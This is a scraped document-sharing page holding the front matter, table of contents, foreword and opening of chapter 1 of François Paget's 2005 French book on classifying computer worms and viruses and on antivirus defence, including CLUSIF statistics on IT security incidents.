vers & virus classification, lutte anti-virale et perspectives-dunod(2005)

324
VERS & VIRUS François Paget EXPLOITATION & ADMINISTRATION Classification, lutte anti-virale et perspectives

Upload: abdellatif-khafif

Post on 26-Oct-2015

394 views

Category:

Documents


12 download

TRANSCRIPT

F. P

AG

ET

www.dunod.com

VERS & VIRUS

François Paget

FRANÇOIS PAGET

François Paget estchercheur anti-virusdepuis bientôt quinzeans. Il est membrefondateur du groupeAVERT (Anti-virus andVulnerability EmergencyResponse Team) au seinde McAfee. Au niveaueuropéen, il est membrede l’EICAR (EuropeanInstitute of ComputerAnti-Virus Research).Avec d’autresprofessionnels du mondeentier, il participe auxtravaux de divers forumstechniques dont celui dela Wildlist qui a pour butde recenser l'ensembledes virus actifs au niveaumondial VE

RS &

VIR

USINFOPRO

MANAGEMENT DES SYSTÈMESD'INFORMATION

APPLICATIONS MÉTIERS

ÉTUDES, DÉVELOPPEMENT,INTÉGRATION

EXPLOITATION ET ADMINISTRATION

RÉSEAUX & TÉLÉCOMS

L'ESSENTIEL

TYPE D’OUVRAGE

RETOURS D'EXPÉRIENCESE FORMER

EX

PLO

ITA

TIO

N &

AD

MIN

IST

RA

TIO

N

Classification, lutte anti-virale et perspectives

ISBN 2 10 008311 2

Ce livre s’adresse aux responsables sécurité, aux directeurs dessystèmes d’information et à leurs équipes. Il est aussi destiné à tousceux qui ont des responsabilités dans le domaine de la sécuritéinformatique.

Après avoir découvert qui est qui et qui fait quoi, l’histoire duphénomène virus est abordée dans son ensemble. Les vers et lesvirus sont ensuite décrits dans leurs multiples formes, et le lecteurest amené à découvrir la structure interne des fichiers modernesavec l’œil du chercheur.

L’ouvrage aborde ensuite la protection anti-virale dans ses aspectsthéoriques, pratiques autant que méthodologiques. Ayant expliquéles méthodes, des pistes sont ouvertes pour aider le professionnelet le particulier dans sa quête d’un bon anti-virus.

Pour conclure, le livre met en perspective les dernières évolutionsdepuis l’an 2000 et confirme l’arrivée d’une nouvelle et dangereusecybercriminalité. Il démontre que les auteurs de virus d’aujourd’huine cherchent plus, ni à détruire, ni à détériorer des informations,mais il dévoile d’autres buts qui, plus discrets, sont souvent bienplus préjudiciables.

VERS & VIRUS Classification, lutte anti-virale et perspectives

François Paget

VERS& VIRUS

Classification,lutte anti-viraleet perspectives

paget_prelims Page I Lundi, 18. avril 2005 3:27 15

Sécurité des Architectures Web

Plouin, Soyer, Trioullier496 pagesDunod, 2004

Anti Spam : Kit de survie

Kevin Gallot208 pages

Dunod, 2004

Les IDS

Les systèmes de détection d’intrusions informatiquesThierry Evangelista272 pagesDunod, 2004

paget_prelims Page II Lundi, 18. avril 2005 3:27 15

Sous la direction de

Philippe Rosé

VERS& VIRUS

Classification,lutte anti-viraleet perspectives

François Paget

Chercheur anti-virus chez McAfeeMembre fondateur de l’AVERT

paget_prelims Page III Lundi, 18. avril 2005 3:27 15

Illustration de couverture : Jeremy Woodhouse/Iguazu Falls, BrazilSource : digitalvision

®

© Dunod, Paris, 2005ISBN 2 10 008311 2

paget_prelims Page IV Lundi, 18. avril 2005 3:27 15

Table des matières

Avant propos

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . IX

Chapitre 1 – Les multiples aspects de la malveillance

. . . . . . . . . . . . . . 1

1.1 La sécurité des systèmes d’information . . . . . . . . . . . . . . . . . . . 1

1.1.1 Les menaces

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

1.1.2 La malveillance

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

1.1.3 Les attaques logiques

. . . . . . . . . . . . . . . . . . . . . . . . . . . 4

1.2 Les messages non sollicités (sans pièce jointe) . . . . . . . . . . . . . . . 5

1.2.1 Les rumeurs ou hoaxes

. . . . . . . . . . . . . . . . . . . . . . . . . 6

1.2.2 Les lettres chaînes

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

1.2.3 Le spamming

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

1.2.4 Le scam africain

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

1.2.5 Le phishing

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

1.3 Les messages non sollicités (avec pièce jointe) . . . . . . . . . . . . . . . 17

1.4 Farces et canulars. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

1.5 Les infections informatiques . . . . . . . . . . . . . . . . . . . . . . . . . 19

1.5.1 Les programmes simples

. . . . . . . . . . . . . . . . . . . . . . . . . 19

1.5.2 Les programmes auto reproducteurs

. . . . . . . . . . . . . . . . . . . 33

Chapitre 2 – Historique – de l’innocence à la tentation criminelle

. . . . . . 35

2.1 John Louis von Neumann . . . . . . . . . . . . . . . . . . . . . . . . . . 35

2.2 Les premières expériences . . . . . . . . . . . . . . . . . . . . . . . . . . 36

2.2.1 CREEPER & REAPER

. . . . . . . . . . . . . . . . . . . . . . . . 37

2.2.2 Animal et Pervade

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

2.2.3 Maintenance et télédistribution

. . . . . . . . . . . . . . . . . . . . . 38

PAGETTDM.fm Page III Lundi, 11. avril 2005 5:22 17

IV Vers & virus

2.3 La science-fiction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

2.3.1 Harlie avait un an

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

2.3.2 Sur l’onde choc

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

2.4 APPLE II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40

2.4.1 Elk Cloner

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40

2.4.2 Anti-Congo

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

2.5 Fred Cohen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

2.6 Les premiers vers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

2.6.1 BITNET : IBM Christmas Tree

. . . . . . . . . . . . . . . . . . . . . 43

2.6.2 INTERNET : RTM Worm

. . . . . . . . . . . . . . . . . . . . . . . 43

2.6.3 DECNET : Father Christmas Worm

. . . . . . . . . . . . . . . . . . 44

2.6.4 DECNET : Worms Against Nuclear Killers

. . . . . . . . . . . . . . . 44

2.7 1986-1987 : Premières infections . . . . . . . . . . . . . . . . . . . . . . . 45

2.7.1 BRAIN

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

2.7.2 Ralf Burger & Berdn Fix

. . . . . . . . . . . . . . . . . . . . . . . . . 46

2.7.3 Les universités en première ligne

. . . . . . . . . . . . . . . . . . . . . 46

2.7.4 L’arrivée du cryptage

. . . . . . . . . . . . . . . . . . . . . . . . . . . 47

2.8 1988 : Les premiers antivirus pour ibm pc . . . . . . . . . . . . . . . . . . 47

2.8.1 Virus Antivirus

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47

2.8.2 Monitoring de programme

. . . . . . . . . . . . . . . . . . . . . . . . 48

2.8.3 DATACRIME : L’antivirus est au commissariat !

. . . . . . . . . . . . 48

2.8.4 Recherche par signature

. . . . . . . . . . . . . . . . . . . . . . . . . . 50

2.9 L’énigme du premier macro-virus. . . . . . . . . . . . . . . . . . . . . . . 51

2.10 1989 – 1992 : Investigation et challenge. . . . . . . . . . . . . . . . . . . 52

2.10.1 Le vengeur ténébreux

. . . . . . . . . . . . . . . . . . . . . . . . . . 53

2.10.2 1260 : Le premier virus polymorphe

. . . . . . . . . . . . . . . . . . . 54

2.10.3 Flip, Tequila ET Maltese Amoeba

. . . . . . . . . . . . . . . . . . . 54

2.10.4 Tous azimuts pour les virus et les anti-virus

. . . . . . . . . . . . . . . 56

2.10.5 La riposte des chercheurs

. . . . . . . . . . . . . . . . . . . . . . . . . 58

2.10.6 Michelangelo

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

2.11 1992 – 1995 : Générateurs et sophistication . . . . . . . . . . . . . . . . . 59

2.11.1 Natas, One_Half et les autres

. . . . . . . . . . . . . . . . . . . . . . 61

2.11.2 Quelques arrestations

. . . . . . . . . . . . . . . . . . . . . . . . . . 63

2.11.3 Goodtimes & Gt-Spoof

. . . . . . . . . . . . . . . . . . . . . . . . . 64

2.12 1995 – 1999 – L’arrivée des virus interprètes . . . . . . . . . . . . . . . . 64

2.12.1 WM/Concept

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

2.12.2 W95/Boza & Linux/Staog by Quantum

. . . . . . . . . . . . . . . . . 66

PAGETTDM.fm Page IV Lundi, 11. avril 2005 5:22 17

V

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

Table des matières

2.12.3 L’invasion des macro-virus

. . . . . . . . . . . . . . . . . . . . . . . 67

2.12.4 La naissance de Network Associates Inc.

. . . . . . . . . . . . . . . . 69

2.12.5 Le retour des virus programme

. . . . . . . . . . . . . . . . . . . . . 70

2.12.6 Rabbit : Le lapin !

. . . . . . . . . . . . . . . . . . . . . . . . . . . 71

2.13 1999 – 2000 – L’invasion des « MASS-MAILERS » . . . . . . . . . . . . 72

2.13.1 Happy 99

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

2.13.2 Melissa

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74

2.13.3 LoveLetter

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75

2.13.4 Kak, le Cagou contre Bubbleboy

. . . . . . . . . . . . . . . . . . . . 78

2.13.5 VBS/Timofonica

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 79

2.13.6 Autour des PDA – PalmOS/Phage

. . . . . . . . . . . . . . . . . . . 79

2.14 2001 – 2003 – Un discret changement de cap . . . . . . . . . . . . . . . 80

2.15 L’été 2003 : ce sont principalement les particuliers qui trinquent ! . . . . 81

2.16 Janvier 2004 : W32/MYDOOM.A@MM . . . . . . . . . . . . . . . . . . 83

2.17 À suivre… . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84

Chapitre 3 – Notions fondamentales

. . . . . . . . . . . . . . . . . . . . . . . 87

3.1 Les virus par cibles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87

3.1.1 Virus système

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88

3.1.2 Virus interprètes

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89

3.1.3 Virus programme

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 92

3.2 Les vers par types. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94

3.2.1 Vers ou virus

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94

3.2.2 Vers de disquettes

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 96

3.2.3 Vers de réseaux locaux

. . . . . . . . . . . . . . . . . . . . . . . . . 96

3.2.4 Vers de messagerie

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 97

3.2.5 Vers en mode poste à poste

. . . . . . . . . . . . . . . . . . . . . . . 99

3.2.6 Vers de l’Internet

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 100

3.3 Les virus/vers par fonctionnalité . . . . . . . . . . . . . . . . . . . . . . . 101

3.3.1 Anti-debugging

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101

3.3.2 Du cryptage au metamorphisme

. . . . . . . . . . . . . . . . . . . . . 101

3.3.3 Virus défensif – Retro-virus

. . . . . . . . . . . . . . . . . . . . . . . 104

3.3.4 Furtivité

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106

3.3.5 Infecteur rapide

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107

3.3.6 Cocktail

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107

3.4 La classification des virus . . . . . . . . . . . . . . . . . . . . . . . . . . 107

3.4.1 Les virus de première génération

. . . . . . . . . . . . . . . . . . . . . 107

3.4.2 L’effort de standardisation actuel

. . . . . . . . . . . . . . . . . . . . 111

PAGETTDM.fm Page V Lundi, 11. avril 2005 5:22 17

VI Vers & virus

3.5 Les autres environnements . . . . . . . . . . . . . . . . . . . . . . . . . . 127

3.5.1 OS/2

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127

3.5.2 MacOS

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128

3.5.3 UNIX

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129

Chapitre 4 – Les virus système

. . . . . . . . . . . . . . . . . . . . . . . . . . 131

4.1 Mise en marche d’un micro-ordinateur. . . . . . . . . . . . . . . . . . . . 131

4.1.1 L’organisation de la mémoire

. . . . . . . . . . . . . . . . . . . . . . . 133

4.1.2 Les interruptions

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134

4.2 Mode de propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136

4.3 Attaque du boot. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137

4.3.1 Secteur d’amorce d’une disquette

. . . . . . . . . . . . . . . . . . . . . 137

4.3.2 Secteur d’amorce d’un disque dur

. . . . . . . . . . . . . . . . . . . . . 139

4.3.3 Structure d’une disquette

. . . . . . . . . . . . . . . . . . . . . . . . . 140

4.3.4 Structure d’un disque dur

. . . . . . . . . . . . . . . . . . . . . . . . . 141

4.3.5 Le virus Form

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142

4.4 Attaque du MBR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146

4.4.1 Structure du secteur des partitions

. . . . . . . . . . . . . . . . . . . . 146

4.4.2 Le virus Jumper.B

. . . . . . . . . . . . . . . . . . . . . . . . . . . . 148

4.5 Techniques avancées . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150

4.5.1 Modification de la CMOS

. . . . . . . . . . . . . . . . . . . . . . . . 150

4.5.2 Furtivité

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151

4.5.3 Inaccessibilité au disque

. . . . . . . . . . . . . . . . . . . . . . . . . . 151

4.5.4 Utilisation de secteurs supplémentaires

. . . . . . . . . . . . . . . . . . 153

4.5.5 Non-sauvegarde du secteur d’origine

. . . . . . . . . . . . . . . . . . . 154

4.5.6 Multipartisme

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154

4.5.7 Polymorphie

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154

4.6 Spécificité des OS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154

Chapitre 5 – Les virus programme

. . . . . . . . . . . . . . . . . . . . . . . . 157

5.1 Modes d’infection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157

5.1.1 Recouvrement

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158

5.1.2 Ajout

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159

5.1.3 Infection par cavité simple . . . . . . . . . . . . . . . . . . . . . . . . 1625.1.4 Infection par fractionnement . . . . . . . . . . . . . . . . . . . . . . . 1635.1.5 Délocalisés . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1645.1.6 Compagnons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164

PAGETTDM.fm Page VI Lundi, 11. avril 2005 5:22 17

VII©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

itTable des matières

5.2 L’environnement 32 bits . . . . . . . . . . . . . . . . . . . . . . . . . . . 1655.2.1 Structure d’un fichier 32 bits. . . . . . . . . . . . . . . . . . . . . . . 1665.2.2 Quelques méthodes d’infection . . . . . . . . . . . . . . . . . . . . . . 173

Chapitre 6 – Les vers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193

6.1 Activation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193

6.2 Classification . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1946.2.1 Langage interprète . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1946.2.2 Langage compilé . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2036.2.3 Méthodes de réplication . . . . . . . . . . . . . . . . . . . . . . . . . 204

Chapitre 7 – Macro-virus et virus de script . . . . . . . . . . . . . . . . . . . 211

7.1 Macro-virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2117.1.1 Mode de Fonctionnement sous Word . . . . . . . . . . . . . . . . . . 2137.1.2 Mode de fonctionnement sous Excel et PowerPoint . . . . . . . . . . . 2167.1.3 Un cas particulier : XF/PAIX . . . . . . . . . . . . . . . . . . . . . . 2177.1.4 Virus sous Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217

7.2 Virus de script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2197.2.1 VBScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2197.2.2 Java et JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2207.2.3 Traitement par lot . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220

Chapitre 8 – Les logiciels anti-virus . . . . . . . . . . . . . . . . . . . . . . . 221

8.1 Les méthodes de détection . . . . . . . . . . . . . . . . . . . . . . . . . . 2218.1.1 La recherche par signature . . . . . . . . . . . . . . . . . . . . . . . . 2228.1.2 La recherche générique. . . . . . . . . . . . . . . . . . . . . . . . . . 2258.1.3 Le contrôle d’intégrité . . . . . . . . . . . . . . . . . . . . . . . . . . 2288.1.4 La recherche heuristique . . . . . . . . . . . . . . . . . . . . . . . . . 2298.1.5 Le monitoring de programmes . . . . . . . . . . . . . . . . . . . . . . 231

8.2 Les principaux concepteurs de produits anti-virus . . . . . . . . . . . . . 231

Chapitre 9 – Organiser la lutte anti-virale . . . . . . . . . . . . . . . . . . . . 235

9.1 Les grandes règles à respecter . . . . . . . . . . . . . . . . . . . . . . . . 2359.1.1 Les ressources propres à l’utilisateur . . . . . . . . . . . . . . . . . . . 2369.1.2 Les ressources partagées . . . . . . . . . . . . . . . . . . . . . . . . . 2379.1.3 Les passerelles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2379.1.4 Le monde extérieur . . . . . . . . . . . . . . . . . . . . . . . . . . . 2389.1.5 La dimension humaine . . . . . . . . . . . . . . . . . . . . . . . . . . 2389.1.6 La politique des mises à jour . . . . . . . . . . . . . . . . . . . . . . . 239

PAGETTDM.fm Page VII Lundi, 11. avril 2005 5:22 17

VIII Vers & virus

9.2 Techniques de protection. . . . . . . . . . . . . . . . . . . . . . . . . . . 2399.2.1 Les anciennes méthodes. . . . . . . . . . . . . . . . . . . . . . . . . . 2409.2.2 Les suites office . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2409.2.3 Internet explorer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2419.2.4 Outlook et Outlook Express . . . . . . . . . . . . . . . . . . . . . . . 2429.2.5 Windows Scripting Host . . . . . . . . . . . . . . . . . . . . . . . . . 2449.2.6 Simples et doubles extensions . . . . . . . . . . . . . . . . . . . . . . . 2449.2.7 L’extension SHS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2469.2.8 Paramètres réseau . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247

9.3 Choisir son anti-virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2499.3.1 Les benchmarks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2499.3.2 Se faire sa propre opinion . . . . . . . . . . . . . . . . . . . . . . . . . 2509.3.3 Testez votre anti-virus . . . . . . . . . . . . . . . . . . . . . . . . . . 251

9.4 Le poids d’une infection virale pour l’entreprise . . . . . . . . . . . . . . . 253

Chapitre 10 – Dernières évolutions et perspectives . . . . . . . . . . . . . . . 259

10.1 Les buts recherchés . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260

10.2 Envahir nos machines. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261

10.3 S’affranchir de l’utilisateur, gagner en vitesse, diminuer en taille . . . . . . 26710.3.1 CODERED . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26710.3.2 SLAMMER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269

10.4 Utiliser des failles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271

10.5 Distribuer une porte dérobée . . . . . . . . . . . . . . . . . . . . . . . . . 277

10.6 Porter atteinte à la confidentialité . . . . . . . . . . . . . . . . . . . . . . 280

10.7 Faire la collecte de mots de passe. . . . . . . . . . . . . . . . . . . . . . . 280

10.8 Savoir se mettre à jour . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283

10.9 Intégrer de multiples techniques de propagation. . . . . . . . . . . . . . . 286

10.10 Investir les modes poste à poste . . . . . . . . . . . . . . . . . . . . . . . 287

10.11 Usurper intelligemment les adresses. . . . . . . . . . . . . . . . . . . . . 288

10.12 Rechercher l’aval de l’utilisateur . . . . . . . . . . . . . . . . . . . . . . 288

10.13 L’invasion des robots . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291

10.14 Conclusion : la fin de l’enfantillage – L’appât du gain . . . . . . . . . . . 295

Abréviations et glossaire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297

Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305

PAGETTDM.fm Page VIII Lundi, 11. avril 2005 5:22 17

Avant propos

L’idée d’écrire ce livre m’est venue après avoir écouté les interrogations et lescommentaires de nombreux curieux. Parfois disponibles au sein d’actes de confé-rences quasi privés ou à l’intérieur de revues à la diffusion limitée, il m’est très viteapparu que beaucoup d’informations étaient introuvables. Cette constatation m’aencouragé à poursuivre ma démarche.

Même si mon but initial fut d’intéresser le plus grand nombre, ce livre cible unpublic d’informaticiens et de spécialistes. Je souhaite leur montrer une autre visiondu phénomène virus : celle du

chasseur

et non pas celle du créateur. Vous n’appren-drez pas à écrire des virus mais, au fil des chapitres, vous comprendrez mieuxcomment on les combat.

Pour débuter notre voyage, nous positionnerons les infections informatiques dansla pyramide sécuritaire. Nous en déroulerons ses diverses facettes pour comprendre

qui est qui

et

qui fait quoi

dans cette nébuleuse malveillante.

Afin de comprendre les enjeux actuels, il est indispensable de connaître l’histoiredu phénomène virus. Il s’agit d’une histoire passionnante avec une étonnante galeriede personnages. Elle est pleine de rebondissements et se rapproche parfois du trilleret de la science-fiction. Par cette découverte nous entrerons dans le cœur du sujet.

Sachant ou se situe notre ennemi et quelle est son histoire, nous le décrironsdans ses multiples formes. Les divers types de virus et de vers seront déclinés selonleurs cibles et leurs attributs. Avec les virus programmes, nous rentrerons dans lecœur du métier. Ce chapitre, ainsi que celui dédié aux vers, risque d’effrayer certainslecteurs. Il me fallait trouver une méthode pour vous amener

à voir avec l’œil du cher-cheur

. J’ai donc manié l’hexadécimal et la visualisation des fichiers qu’il nouspropose. En vous faisant appréhender la structure interne des fichiers modernes j’aivoulu donner une forte plus-value à ce livre.

Nous aborderons ensuite la protection anti-virale dans ses aspects théoriques,pratiques autant que méthodologiques. Ayant expliqué les méthodes, des pistesseront ouvertes pour aider le professionnel dans sa quête d’un bon anti-virus.

PAGET_AP Page IX Lundi, 11. avril 2005 5:25 17

X Vers & virus

Les produits du marché sont souvent performants, ils n’excluent pas la mise enpratique de quelques conseils de configuration qui se doivent de les compléter.

Pour conclure, partant des faits marquants depuis l’an 2000, ce livre démontreraque les auteurs de virus d’aujourd’hui ne cherchent plus, ni à détruire, ni à détériorerdes informations. Il mettra à jour leurs buts actuels qui, plus discrets, sont souventbien plus préjudiciables.

Voilà donc l’itinéraire de ce livre. Pour prolonger le parcours, de nombreux liensbibliographiques vous seront offerts tout au long de votre lecture. Si le jargon tech-nique vous laissait un temps désorienté, un glossaire que j’ai souhaité important etun index devraient vous aider à retrouver votre chemin.

PAGET_AP Page X Lundi, 11. avril 2005 5:25 17

1

Les multiples aspectsde la malveillance

Pour démarrer cet ouvrage, il me semble utile de repositionner le phénomène virusdans son contexte. Les nombreux programmes malveillants qui circulent ne sont pastous des virus et la confusion règne dans nombreux esprits. Celle ci est entretenuepar le fait que bon nombre d’anti-virus détectent ces programmes sans toujours lesdistinguer. Alors que les spécialistes se complaisent dans un jargon parfois hermé-tique, la presse généraliste à souvent tendance à voir un virus derrière chaqueattaque qu’elle médiatise.

Dans ce chapitre nous allons partir du sommet de la pyramide des risques en pre-nant soin de décliner chaque aspect de la malveillance. Souvent à l’aide d’exemples,nous détaillerons tout particulièrement les attaques logiques et les programmes sim-ples. Nous aurons ainsi une vue d’ensemble de tout ce qui n’est pas viral : l’inven-taire des activités néfastes mais non auto-reproductrices.

1.1 LA SÉCURITÉ DES SYSTÈMES D’INFORMATION

L’École Nationale Supérieure des Techniques Avancées (ENSTA) a définie la sécu-rité des systèmes d’information comme « l’ensemble des moyens humains et maté-riels permettant à un système, s’appuyant sur des moyens automatisés de traitementet d’échange d’information, de résister aux agressions qui compromettraient son bonfonctionnement ».

La sécurité physique du matériel, la sûreté des traitements, la sécurité des infor-mations et la lutte contre la fraude informatique forment les aspects principaux de lasécurité. Face à eux, les vecteurs d’agression peuvent être d’origine naturelle ouhumaine et s’attaquer aux matériels comme aux logiciels.

PAGET_Ch01 Page 1 Lundi, 11. avril 2005 5:25 17

2 Chapitre 1. Les multiples aspects de la malveillance

Tout comme d’autres acteurs de la malveillance, les auteurs des virus avec leurscréations portent atteinte à la sûreté des traitements et des informations. Certainesnouvelles fonctionnalités qu’ils mettent en œuvre s’apparentent parfois à la fraudeinformatique.

Pour répondre aux risques informatiques, pour sauvegarder son patrimoineindustriel, assurer son bon fonctionnement et garantir sa pérennité, une entreprisedoit être sûre de son système d’information. Elle doit en assurer sa confidentialité,son intégrité et sa disponibilité. Connu sous l’abréviation CID, ce premier triptyque,est étroitement lié à un second : accident-erreur-malveillance. Cette classificationdes menaces permet l’analyse des risques informatiques selon leur cause premièreprincipale.

Les virus informatiques sont du domaine de la malveillance ; ils ont des répercus-sions en terme de confidentialité, d’intégrité et de disponibilité.

1.1.1 Les menaces

La malveillance a été longtemps considérée comme la principale cause des pertesdues à l’informatique. Les premières études françaises ont été menées entre lesannées 1984 et 1996. L’APSAD (Assemblée Plénière des Sociétés d’AssurancesDommages) et le CLUSIF (Club de la Sécurité des Systèmes d’Information Fran-çais) indiquaient que plus de 60 % des pertes dues à des sinistres informatiques rele-vaient d’actes malveillants.

En 1998, l’APSAD poursuivait seule l’étude et confirmait ce point de vue :

De son coté, le CLUSIF

1

préféra orienter ses études annuelles en terme de surve-nance, de moyens mis en œuvre et de risques redoutés. L’enquête qu’il mit au pointrepose sur les déclarations d’entreprises françaises. Environ 600 d’entres elles et unecentaine de collectivités publiques y répondent chaque année.

En 2001, les infections virales étaient situées en 3

ème

position parmi les incidentsau plus fort taux d’occurrence cité. Depuis 2002, elles prennent la première placemême si elles sont souvent considérées comme incident de sécurité et non pas sinis-tre.

Risques accidentels 420 M

(2750 MF) 20 %

Erreurs 305 M

(2000 MF) 15 %

Malveillance 1340 M

(8780 MF) 65 %

1. L’étude du CLUSIF intitulée

Politiques de sécurité des systèmes d’information et sinistralité enFrance

– Bilan 2003 est disponible en version PDF en suivant le lien :https://www.clusif.asso.fr/fr/production/sinistralite/docs/etude2003.pdf. Les versions précédentessont également disponibles sur le site de l’association.

PAGET_Ch01 Page 2 Lundi, 11. avril 2005 5:25 17

3

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

1.1 La sécurité des systèmes d’information

Lorsque les entreprises sont interrogées sur les risques qui les menacent , ellescitent en premier les infections informatiques. Même si les personnes interrogéessubissent l’influence des médias et malgré une tendance à la baisse (62 % en 2001contre 52 % en 2003) on a ici confirmation de l’importance portée au phénomène.

1.1.2 La malveillance

Nous n’aborderons pas dans le détail les risques accidentels et les erreurs.

Tableau 1.1

— Survenance des Sinistres Informatiques – CLUSIF 2000/2003

Principaux types de sinistre% d’entreprises concernées

2000 2001 2002 2003

Infection par virus 11,5 14,8 26,3 35

Panne interne 16,6 18,5 19,7 18

Vol 6,6 3,6 6,7 15

Perte de services essentiels 13,4 16,9 22,6 10

Erreur d’utilisation 23,9 11,9 14,4 8

Évènement naturel 4,6 1 5,2 3

Tableau 1.2

— Perception des risques à venir – CLUSIF 2001-2003

Type de risque% d’entreprises concernées

2001 2002 2003

Virus ou infection informatique 62 58 52

Accident d’origine interne 35 29 36

Accident d’origine externe 13 25 17

Intrusion externe à l’entreprise sans altération 13 16 15

Erreur d’utilisation 13 17 9

Vol ou disparition de matériel ou de logiciel 16 17 8

Erreur de conception 8 8 2

Atteinte à l’image 2 3 2

Attaque ciblée 7 7 1

Chantage ou fraude 1 4

PAGET_Ch01 Page 3 Lundi, 11. avril 2005 5:25 17

4 Chapitre 1. Les multiples aspects de la malveillance

Les premiers regroupent principalement les accidents physiques comme lesincendies, les évènements naturels comme les inondations et les tempêtes, les pan-nes matérielles ou logicielles et les pertes de services essentiels comme les pannesd’électricité.

Les seconds peuvent survenir à la conception, à la réalisation ou lors de l’utilisa-tion . Ils concernent aussi bien les logiciels que les procédures d’application.

Figure 1.1

Les formes prises par la malveillance

La malveillance inclue toute action humaine visant à voler ou détériorer unmatériel, à porter préjudice aux ressources d’un système, à s’y maintenir sans autori-sation et à en tirer des profits illicites. Les grèves et le détournement d’heures de tra-vail font aussi partie de cette catégorie.

L’utilisation non autorisée ou abusive des ressources du système conduit souventà une perte d’intégrité ou de disponibilité de certaines informations ; cet aspect de lamalveillance prend souvent le nom d’attaque logique et conduit la plupart du tempsà un sabotage immatériel. C’est cet aspect que nous allons maintenant développer.

1.1.3 Les attaques logiques

Avant de détailler les infections informatiques et les virus, il est bon de définir lesautres éléments perturbateurs qui gravitent dans leur environnement.

Nous ne nous étendrons ni sur la désinformation, ni sur le sabotage manuel. Nousindiquerons simplement que :

